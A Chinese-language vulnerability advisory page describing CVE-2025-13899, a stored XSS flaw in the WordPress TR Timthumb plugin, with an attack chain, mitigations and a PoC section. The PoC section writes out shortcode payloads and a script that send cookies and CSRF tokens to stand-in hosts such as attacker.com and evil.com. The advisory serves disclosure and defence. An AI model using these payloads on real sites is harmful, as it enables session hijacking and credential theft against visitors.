IPBUF安全漏洞报告
English
CVE-2025-13899 CVSS 6.4 中危

CVE-2025-13899 WordPress TR Timthumb插件存储型XSS漏洞

披露日期: 2025-12-06

漏洞信息

漏洞编号
CVE-2025-13899
漏洞类型
存储型跨站脚本攻击(XSS)
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
TR Timthumb plugin for WordPress

相关标签

存储型XSSWordPress插件TR Timthumbshortcode注入CVE-2025-13899CVSS 6.4中等严重性认证攻击跨站脚本

漏洞概述

TR Timthumb是WordPress平台上一款常用的图片缩略图处理插件。2025年12月,安全研究人员发现该插件存在严重的存储型跨站脚本漏洞。漏洞源于插件在处理shortcode属性时,未对用户输入进行充分的输入清理和输出转义处理。攻击者利用此漏洞可以在WordPress页面的shortcode中注入任意JavaScript代码。由于该代码会被永久存储在数据库中,所有访问包含恶意shortcode页面的用户都会受到攻击,导致会话劫持、凭据窃取或恶意重定向等安全问题。此漏洞影响TR Timthumb插件1.0.4及之前所有版本,需要WordPress Contributor级别及以上权限的认证用户即可利用。

技术细节

漏洞根源在于TR Timthumb插件的inc/front.php文件中第39行附近的shortcode处理逻辑。插件在注册[timthumb]短代码时,直接将用户提供的属性参数传递给处理函数,但缺少适当的输入验证和输出编码。当攻击者创建一个包含恶意JavaScript代码的shortcode时,如[timthumb src='x' onerror='alert(1)'],该恶意代码会被存储在WordPress数据库中。每次页面加载时,浏览器会执行这些恶意脚本。由于WordPress的权限模型允许Contributor及以上角色创建和编辑内容,攻击者可以利用这种相对较低的权限要求来实施攻击。攻击者通过在shortcode属性中注入事件处理器或javascript:协议,即可绕过输入过滤并执行任意客户端代码。

攻击链分析

STEP 1
信息收集
攻击者识别目标网站使用TR Timthumb插件版本<=1.0.4
STEP 2
权限获取
攻击者获取WordPress Contributor级别或更高权限账户
STEP 3
恶意Payload注入
在页面/文章中插入包含XSS payload的[timthumb]短代码
STEP 4
数据持久化
恶意shortcode被存储在WordPress数据库中
STEP 5
触发执行
普通用户访问包含恶意shortcode的页面时,浏览器解析并执行注入的JavaScript代码
STEP 6
攻击成功
攻击者通过XSS成功窃取会话cookie、CSRF token或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
WordPress管理员或Contributor权限用户可利用此PoC: 1. 在WordPress页面或文章中插入恶意shortcode: [timthumb src='x' onerror='alert(document.cookie)'] 2. 或使用更复杂的payload窃取用户信息: [timthumb src='x' onload="fetch('https://attacker.com/steal?c='+document.cookie)"] 3. 利用img标签的其他事件: [timthumb src='x' onerror='var img=document.createElement("img");img.src="https://evil.com/log?d="+btoa(document.cookie);'] 4. 存储型XSS利用脚本: <script> // 当页面加载时自动执行 document.addEventListener('DOMContentLoaded', function() { // 窃取CSRF token var csrfToken = document.querySelector('input[name="_wpnonce"]')?.value; // 发送数据到攻击者服务器 fetch('https://attacker.com/exfil?data=' + encodeURIComponent(document.cookie + '|' + csrfToken)); }); </script>

影响范围

TR Timthumb plugin for WordPress <= 1.0.4

防御指南

临时缓解措施
如果无法立即升级插件,可采取以下临时措施:1) 限制Contributor及以上权限用户的创建权限;2) 使用WordPress防火墙规则阻止恶意shortcode;3) 手动审查所有包含[timthumb]短代码的内容,删除可疑代码;4) 考虑临时禁用该插件并使用WordPress内置图片处理功能替代;5) 加强用户权限管理,确保只有可信用户具有编辑权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表